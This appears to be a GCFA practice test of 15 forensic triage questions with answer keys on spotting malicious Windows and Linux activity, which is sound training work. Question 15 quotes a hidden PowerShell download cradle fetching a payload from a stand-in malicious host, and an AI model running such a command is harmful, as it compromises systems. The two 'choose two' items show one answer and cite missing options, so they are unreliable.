GCFA Identification of Malicious and Normal Activity Practice Test 4 — 15 Questions

Question 1

An analyst is reviewing a Windows Server 2019 host and finds that a scheduled task named 'MicrosoftEdgeUpdateTaskMachineUA' exists under Task Scheduler Library\Microsoft\EdgeUpdate. The task's action launches 'C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe' with the argument '/ua', and the task's XML shows it was created by 'NT AUTHORITY\SYSTEM'. The XML file in C:\Windows\System32\Tasks was last modified three months ago, matching the install date of Edge. Which assessment is MOST accurate?

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

The task appears legitimate, but the analyst should verify the binary's digital signature and compare the creation timestamp against the Edge installation baseline.. Every attribute of the task — its folder, name, executable, argument, owner, and modification time — is consistent with the Edge updater installed on the server. Scheduled tasks are nonetheless a popular persistence vector, so the correct posture is to corroborate with signature verification and timestamp comparison against the known Edge installation baseline before clearing it.

Answer

The task is definitely a persistence mechanism because it runs at logon and uses the '/ua' switch, which is undocumented.

Answer

The task is malicious persistence because SYSTEM-created tasks in the Microsoft namespace are not legitimate.

Answer

The task is suspicious because the executable path uses the 'Program Files (x86)' directory on a 64-bit server.

Question 2

A forensic analyst is analyzing a Windows 10 memory image and finds a process named 'svchost.exe' with PID 4567. The process's parent is 'services.exe', but its executable path is C:\Users\Public\svchost.exe. The analyst also notices that the process has a network connection to an external IP on port 443. Which of the following is the most likely explanation for this finding?

Accepted Answer

The process is a malicious executable masquerading as svchost.exe, using a legitimate parent process name and an external network connection for command and control.. A process named svchost.exe running from C:\Users\Public with a parent of services.exe and an external network connection is a classic sign of malware masquerading as a legitimate system process. The executable path is the key indicator, as legitimate svchost.exe runs from System32. The external connection suggests command and control.

Answer

The process is a legitimate svchost.exe that has been compromised via DLL hijacking, causing it to load a malicious DLL from the user directory.

Answer

The process is a legitimate svchost.exe that has been migrated to a user directory by Windows Update as part of a rollback operation.

Answer

The process is a legitimate svchost.exe instance that has been moved to a user directory by a system administrator for troubleshooting.

Question 3

An analyst is examining a Linux server suspected of compromise. In /var/log/auth.log, they observe repeated entries of the form: 'sshd[1234]: Accepted publickey for deploy from 10.20.30.40 port 51515 ssh2: RSA SHA256:...' followed by 'sshd[1234]: pam_unix(sshd:session): session opened for user deploy'. No corresponding 'Failed password' entries appear for that source IP. Which interpretation is MOST accurate?

Accepted Answer

The session was established using a valid SSH public key, indicating successful key-based authentication from 10.20.30.40.. The 'Accepted publickey' line with an RSA SHA256 fingerprint shows sshd validated the client's key, and the subsequent pam_unix session-open confirms a login session. The absence of prior 'Failed password' entries from that IP rules out a brute-force narrative. Key-based access is the correct interpretation, subject to verifying the key's ownership and the trustworthiness of the source address.

Answer

The session was established through a brute-force password attack that succeeded after many failures.

Answer

The session was established through a reverse shell initiated by a malicious payload on the server.

Answer

The session was established through SSH agent forwarding from an untrusted host, which is why no password prompt was logged.

Question 4

An analyst is triaging a Linux server and finds a process whose /proc/<pid>/exe symlink points to /tmp/.kwork, and whose parent process is the legitimate cron daemon. The file is owned by root but has no package ownership record. Which interpretation is most appropriate?

Accepted Answer

The process is likely malicious persistence launched by cron from a non-standard, unmanaged path.. An unmanaged root-owned binary in /tmp executed by cron indicates an attacker added a scheduled job to launch a dropped payload. The kernel-thread-style name is a masquerade, since real kernel threads have no on-disk executable. Investigators should dump the crontab entries, hash the binary, and review /var/log/cron and auth logs for the insertion window.

Answer

This is a legitimate kernel worker thread that cron spawned during routine maintenance.

Answer

The process is a normal systemd service that was forked by cron after a unit reload.

Answer

The process is a containerized workload placed in /tmp by the container runtime.

Question 5

While reviewing a Windows host, you find a 4688 process creation event where the new process is C:\Windows\System32\svchost.exe but the parent process image is C:\Users\bob\AppData\Local\Temp\update.exe. The command line for svchost.exe contains -k netsvcs with no additional arguments. Which assessment is best supported?

Accepted Answer

The parent process path indicates a likely masquerading or code-injection event that warrants memory analysis of svchost.exe.. A user Temp directory as the parent of svchost.exe contradicts the normal services.exe parent-child relationship and points to injection or a masquerading loader. The correct-looking command line is part of the deception. Memory acquisition and module inspection of the process will confirm whether the service host is hosting malicious code.

Answer

The command line is malformed and shows svchost.exe was invoked without the required -k service group.

Answer

The event is a false positive caused by Sysmon logging the wrong parent process for service hosts.

Answer

This is normal behavior because svchost.exe is frequently launched from user directories during updates.

Question 6

A forensic analyst is triaging a Windows 10 endpoint that is suspected of being part of a botnet. The analyst has collected the Security, System, and Application event logs, the Sysmon operational log, and a live memory image. Which TWO of the following artifacts would provide the most direct evidence of periodic command-and-control beaconing behavior? (Choose two.)

Accepted Answer

Sysmon Event ID 3 (NetworkConnect) entries showing repeated connections to the same external IP at regular intervals.. Beaconing is characterized by repeated, regular communication from a host to an external controller. Sysmon network-connect events and DNS query events both capture the timing, destination, and initiating process needed to confirm that pattern directly from the endpoint. Logon, application-crash, and service-install events may support the broader investigation but do not, by themselves, demonstrate periodic outbound C2 traffic.

Answer

Application Event ID 1000 (Application Error) entries referencing a crashing service.

Answer

System Event ID 7045 (A service was installed in the system) recorded once during the investigation window.

Answer

Security Event ID 4624 (An account was successfully logged on) with Logon Type 3 repeated every few minutes.

Question 7

An analyst reviewing a Windows workstation finds that the file C:\Windows\System32\drivers\etc\hosts has been modified and now contains several entries mapping well-known banking domains to 127.0.0.1. The file's LastWriteTime is two days ago, and no administrator has reported making the change. Which conclusion is MOST appropriate?

Accepted Answer

The modification is consistent with host-file redirection used to block or intercept traffic to specific domains and warrants further investigation.. Redirecting well-known banking domains to 127.0.0.1 through the hosts file is a recognized adversary technique for intercepting or blocking traffic, and the unexplained, recent modification makes it more suspicious. The appropriate response is to investigate the change, identify the process or account responsible, and examine the host for related indicators rather than dismissing it as routine or user-initiated.

Answer

The modification indicates that the DNS Client service has been disabled on the host.

Answer

The modification is benign because hosts-file changes are always performed by the user for ad-blocking purposes.

Answer

The modification is a normal Windows update behavior and should be ignored.

Question 8

You are reviewing a Windows Server 2019 Security event log and find Event ID 4624 with Logon Type 3 and the 'NTLM' authentication package for a service account, occurring at 02:14 from a workstation that has no corresponding 4648 or 4672 events. Which interpretation is most forensically sound?

Accepted Answer

This is a network logon using NTLM that warrants correlation with source host and account baseline.. Logon Type 3 identifies a network logon, and the NTLM authentication package means the session did not use Kerberos. That alone is not proof of compromise, but it is a meaningful indicator that must be baselined against the account's normal source hosts, logon patterns, and downstream privilege events before any conclusion about credential theft or lateral movement is drawn.

Answer

This is normal service account behavior and no further review is needed.

Answer

This proves credential theft via Pass-the-Hash against the service account.

Answer

This indicates a successful interactive console logon by an attacker.

Question 9

You are analyzing a Linux web server and find that /var/log/auth.log contains many 'Failed password' entries followed by a single 'Accepted password' for the account 'deploy' from the same source IP. Shortly after, you see a sudo command adding a new user named 'support' to the sudoers file. Which sequence best describes what occurred?

Accepted Answer

A brute-force password attack succeeded against the deploy account, and the attacker then escalated privileges via sudo.. The sequence of many failed password attempts ending in one success from the same IP shows a successful credential-guessing attack. The immediate sudo action that adds a new sudoer account indicates the attacker established persistence and elevated access. Investigators should trace the source IP, review command history and auth logs for the session, and check for additional accounts or scheduled jobs created by the attacker.

Answer

A legitimate administrator mistyped the password several times and then correctly added a new support user.

Answer

The deploy account was used by an automated deployment tool that periodically re-authenticates and updates sudoers.

Answer

The server experienced a PAM misconfiguration that logged failed attempts while still allowing the successful login.

Question 10

A forensic analyst is examining a Windows Server 2016 system that is suspected of being compromised. The analyst runs 'wevtutil qe Security /f:text /q:"*[System[(EventID=4688)]]"' and notices that many process creation events have the 'Subject Logon ID' field set to '0x3e7'. Which of the following best describes the significance of this finding?

Accepted Answer

The processes were created by the SYSTEM account, which often indicates that a service or scheduled task spawned them; this could be normal or malicious depending on the process.. The logon ID 0x3e7 is a well-known identifier for the SYSTEM account in Windows. Process creation events with this logon ID indicate that the process was spawned under the SYSTEM context, which is common for services and scheduled tasks. However, because attackers often escalate to SYSTEM, the analyst must examine the process name, command line, and parent process to determine if the activity is malicious. The logon ID alone is not sufficient to declare benign or malicious.

Answer

The processes were created by a user who logged on interactively, as indicated by the logon ID starting with 0x3, which denotes interactive logons.

Answer

The processes were created by a user with a randomly assigned logon ID, which suggests the system is using logon session isolation for security.

Answer

The processes were created by a user with a well-known logon ID, which is typical for system services and indicates no malicious activity.

Question 11

A forensic analyst is reviewing a compromised Windows 10 host and finds a file named 'lsass.exe' in the C:\Windows\Temp directory. The file has a creation timestamp that coincides with the suspected intrusion time. The analyst wants to determine if this file is a malicious copy of the legitimate Windows process. Which characteristic of the legitimate lsass.exe should the analyst verify first to confirm the file is suspicious?

Accepted Answer

The file's digital signature and its original location in C:\Windows\System32. Legitimate Windows system executables like lsass.exe are stored in C:\Windows\System32 and are digitally signed by Microsoft. A copy found in C:\Windows\Temp is almost certainly malicious or a decoy. Verifying the digital signature and original location is a quick, offline method to confirm the file is not the genuine system process. Other checks like hash lookups or ACL review are useful but less immediate and definitive for this specific masquerading scenario.

Answer

The file's hash against a threat intelligence database like VirusTotal

Answer

The file's access control list (ACL) to see if permissions were modified

Answer

The file's size and version information compared to the known-good lsass.exe

Question 12

While triaging a Linux web server, you find that '/usr/bin/sshd' was executed but the running process's parent is 'bash' rather than the systemd service manager, and the process has no associated listening socket. Which conclusion is best supported?

Accepted Answer

An attacker renamed a malicious binary to 'sshd' to blend in with legitimate processes.. On Linux, parent process and socket state are strong discriminators of legitimacy. A real sshd is started by systemd, which makes PID 1 its parent, and it binds port 22. A process carrying the sshd name but parented by bash and holding no listening socket could not be performing the SSH service role, so the most supportable conclusion is that a binary was renamed to mimic sshd.

Answer

The sshd binary was updated by the package manager during an unattended upgrade.

Answer

The sshd process is a legitimate child spawned by a user's SSH session.

Answer

The system experienced a crash and systemd restarted sshd through a recovery shell.

Question 13

An analyst is reviewing a memory dump from a Windows 10 system using Volatility 3. The analyst runs 'vol.py -f memory.dmp windows.netscan' and observes a TCP connection with a state of 'ESTABLISHED' between the local IP 10.0.0.5:49152 and a remote IP 203.0.113.45:443. The process associated with this connection is 'chrome.exe' (PID 1234). Which of the following should the analyst do next to determine if this connection is malicious?

Accepted Answer

Correlate the remote IP with threat intelligence feeds and examine the process memory for injected code or unusual strings.. When a network connection from a legitimate process like chrome.exe is observed, it is not inherently malicious. The analyst must gather more evidence. Correlating the remote IP with threat intelligence can indicate if it is known malicious. Examining the process memory for injected code or unusual strings can reveal if the process has been compromised. This combination provides a stronger basis for determining the nature of the connection.

Answer

Check the system's DNS cache for the remote IP to see if it resolves to a known domain, which would confirm whether the connection is benign.

Answer

Immediately block the remote IP at the firewall and terminate the chrome.exe process, as an established connection to an external IP on port 443 is highly suspicious.

Answer

Run 'vol.py -f memory.dmp windows.dlllist --pid 1234' to list all loaded DLLs and check for any unsigned or suspicious modules.

Question 14

An analyst is reconstructing a suspected credential-dumping incident on a Windows 10 host and has already imaged memory. Which TWO artifacts should the analyst examine to determine whether the LSASS process memory was accessed by an unauthorized tool? (Choose two.)

Accepted Answer

A memory image search for the 'sekurlsa' module strings and Mimikatz driver artifacts in non-paged pool.. Establishing unauthorized LSASS access requires artifacts that either record the access event itself or demonstrate the presence of credential-dumping tooling. Sysmon process-access events capture the target process, requesting image, and granted access mask, while memory-resident strings and driver artifacts left by frameworks like Mimikatz show the tooling was loaded. Together they provide both the access event and the capability evidence.

Answer

Prefetch files showing that the Windows Credential Manager UI was launched by the user.

Answer

Security Event ID 4688 process creation records showing the parent image of every long-running service.

Answer

Amcache entries listing hashes of binaries installed under 'Program Files' on the host.

Question 15

A security analyst is examining a Windows 10 system and finds a scheduled task named 'Updater' that runs 'powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://malicious.site/payload.ps1')"' every hour. The task is configured to run under the SYSTEM account. Which of the following best describes the malicious technique being used?

Accepted Answer

The scheduled task is using a PowerShell download cradle to retrieve and execute a remote payload, which is a common fileless malware technique.. The command uses Invoke-Expression to download and execute a PowerShell script from a remote URL, which is a download cradle. This allows the attacker to run arbitrary code without writing it to disk, making it fileless. The scheduled task provides persistence, running the command hourly as SYSTEM. This combination is a common malware technique.

Answer

The scheduled task is using a PowerShell logging bypass to avoid detection, which is a common defense evasion technique.

Answer

The scheduled task is using a PowerShell profile script to maintain persistence, which is a common technique for surviving reboots.

Answer

The scheduled task is using a PowerShell remoting command to execute a script on a remote system, which is a common lateral movement technique.